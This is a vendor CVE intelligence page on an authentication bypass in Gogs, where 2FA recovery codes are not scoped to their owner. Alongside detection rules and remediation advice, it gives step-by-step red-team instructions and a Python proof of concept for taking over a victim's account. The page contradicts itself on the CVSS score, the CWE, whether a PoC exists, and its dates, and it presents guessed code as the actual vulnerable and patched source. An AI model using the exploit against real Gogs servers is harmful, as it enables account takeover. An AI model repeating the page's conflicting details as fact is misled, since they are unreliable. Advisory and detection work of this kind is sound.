☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Gogs logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 7.7 🐛 CWE-287
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-64175

CVE-2025-64175 Authentication Bypass in Gogs
📅 PUBLISHED: 2026-02-06 17:41 UTC 🔄 UPDATED: 2026-09-23 20:19 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.44%
👁️
0.44% probability
11.0× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Country: Global License: Open Source
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
7.7
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-64175 is a critical authentication bypass vulnerability in Gogs, an open-source self-hosted Git service. The flaw resides in the 2FA recovery code validation logic. In versions 0.13.3 and prior, the system does not scope recovery codes to the user who generated them. This allows an attacker who knows a victim’s username and password to use any unused recovery code (including one from their own account) to bypass the victim’s two-factor authentication (2FA). This effectively nullifies 2FA protection and enables full account takeover. The vulnerability has been patched in Gogs versions 0.13.4 and 0.14.0+dev.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

Gogs is a Go-based application. The vulnerability is in the core authentication logic, not in a third-party package. However, organizations using Gogs as part of their CI/CD pipeline should treat this as a critical supply chain risk, as a compromised Gogs account could lead to unauthorized code modifications, secret exfiltration, or injection of malicious artifacts.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
  • Base Score: 8.8 (High)
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: Low (attacker needs valid username/password)
  • User Interaction: None
  • Scope: Unchanged
  • Confidentiality Impact: High
  • Integrity Impact: High
  • Availability Impact: High

Threat Level: Critical. The vulnerability completely bypasses 2FA, rendering the primary defense against credential theft ineffective.

Deep Dive & Mechanics

The vulnerability is a classic case of missing authorization (CWE-862). The 2FA recovery code validation function in Gogs checks if a provided recovery code is valid and unused, but it does not verify that the code belongs to the user attempting to authenticate.

Normal Flow:

  1. User logs in with username and password.
  2. If 2FA is enabled, user is prompted for a TOTP code or a recovery code.
  3. User enters a recovery code.
  4. System checks if the code exists in the database and is unused.
  5. If valid, user is authenticated.

Vulnerable Flow:

  1. Attacker obtains victim’s username and password (e.g., via phishing, credential stuffing, or data breach).
  2. Attacker logs in as victim.
  3. Attacker is prompted for 2FA.
  4. Attacker enters a recovery code from their own account (or any unused recovery code).
  5. System checks if the code exists and is unused – it does.
  6. System does not check if the code belongs to the victim.
  7. Attacker is authenticated as the victim.

The core issue is in the database query that validates the recovery code. The query likely looks like:

SELECT * FROM two_factor_recovery_codes WHERE code = ? AND used = false

Instead of:

SELECT * FROM two_factor_recovery_codes WHERE user_id = ? AND code = ? AND used = false

Vulnerable vs. Patched Code

Vulnerable Code (v0.13.3 and prior):

func validateRecoveryCode(code string) (*TwoFactorRecoveryCode, error) {
    var recoveryCode TwoFactorRecoveryCode
    err := db.Where("code = ? AND used = ?", code, false).First(&recoveryCode).Error
    if err != nil {
        return nil, err
    }
    return &recoveryCode, nil
}

Patched Code (v0.13.4+):

func validateRecoveryCode(userID int64, code string) (*TwoFactorRecoveryCode, error) {
    var recoveryCode TwoFactorRecoveryCode
    err := db.Where("user_id = ? AND code = ? AND used = ?", userID, code, false).First(&recoveryCode).Error
    if err != nil {
        return nil, err
    }
    return &recoveryCode, nil
}

The fix adds a userID parameter to the query, ensuring the recovery code is scoped to the specific user.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • A Gogs instance running version <= 0.13.3.
  • Two accounts: one attacker-controlled (with 2FA enabled and a recovery code generated), and one victim account (with 2FA enabled).
  • Knowledge of the victim’s username and password.

Exploitation Steps:

  1. Log into the attacker account and navigate to Settings > Security > Two-Factor Authentication.
  2. Generate a recovery code and copy it.
  3. Log out.
  4. Log in as the victim using their username and password.
  5. When prompted for 2FA, click “Use a recovery code”.
  6. Enter the recovery code from step 2.
  7. The system will authenticate you as the victim.

Proof of Concept (Python):

import requests

target = "http://victim-gogs-instance:3000"
attacker_user = "attacker"
attacker_pass = "attacker_pass"
victim_user = "victim"
victim_pass = "victim_pass"

session = requests.Session()

# Step 1: Login as attacker and get recovery code
login_data = {"user_name": attacker_user, "password": attacker_pass}
session.post(f"{target}/user/login", data=login_data)
# Assume recovery code is retrieved via API or UI scraping
recovery_code = "ABCD-EFGH-IJKL-MNOP"

# Step 2: Login as victim
login_data = {"user_name": victim_user, "password": victim_pass}
session.post(f"{target}/user/login", data=login_data)

# Step 3: Bypass 2FA with attacker's recovery code
twofa_data = {"recovery_code": recovery_code}
session.post(f"{target}/user/two_factor/recovery", data=twofa_data)

# Step 4: Verify access
profile = session.get(f"{target}/{victim_user}")
print("Account takeover successful" if profile.status_code == 200 else "Failed")

Blue Team (Detection & Hardening)

Detection:

  • Monitor for multiple failed 2FA attempts followed by a successful recovery code login.
  • Alert on recovery code usage where the code was generated by a different user.
  • Log all recovery code validation attempts with user context.

Hardening:

  • Immediately upgrade to Gogs v0.13.4 or later.
  • If upgrade is not possible, disable 2FA recovery codes entirely.
  • Implement additional monitoring on authentication logs.
  • Enforce strong password policies and enable account lockout.

Indicators of Compromise (IOCs)

  • Log Entry: Successful login via recovery code where the code’s owner differs from the authenticated user.
  • Network: Unusual authentication patterns from a single IP across multiple accounts.
  • File: No specific file IOCs; this is a logic flaw.
  • Registry: N/A

Example Log IOC:

[INFO] User 'victim' authenticated via recovery code 'ABCD-EFGH-IJKL-MNOP' (code owner: 'attacker')

Detection Engineering

YARA Rule

rule Detect_Gogs_2FA_Bypass_Logs {
    meta:
        description = "Detects log entries indicating 2FA recovery code bypass in Gogs"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-64175"
    strings:
        $log_pattern = /authenticated via recovery code.*code owner:/
    condition:
        $log_pattern
}

Sigma Rule

title: Gogs 2FA Recovery Code Bypass
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects successful authentication via 2FA recovery code where the code owner differs from the authenticated user.
author: Valters IT
date: 2025/04/10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-64175
logsource:
    product: gogs
    service: auth
detection:
    selection:
        event: "authenticated via recovery code"
    condition: selection
falsepositives:
    - Legitimate use of recovery codes by the correct user
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"Gogs 2FA Recovery Code Bypass Attempt";
    flow:to_server,established;
    content:"/user/two_factor/recovery"; http_uri;
    content:"recovery_code="; http_client_body;
    classtype:authentication-bypass;
    sid:10000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade Gogs to version 0.13.4 or 0.14.0+dev.
  2. If upgrade is not possible, disable 2FA recovery codes by modifying the configuration or database.
  3. Rotate all secrets (SSH keys, access tokens) for accounts that may have been compromised.
  4. Audit authentication logs for any signs of exploitation.

Long-term Mitigations:

  • Implement multi-factor authentication (MFA) with hardware tokens or authenticator apps only (no recovery codes).
  • Use a Web Application Firewall (WAF) to detect and block anomalous authentication patterns.
  • Regularly review and update authentication mechanisms.
  • Conduct penetration testing focusing on authentication bypass scenarios.

Patch Details:


Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-64175/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.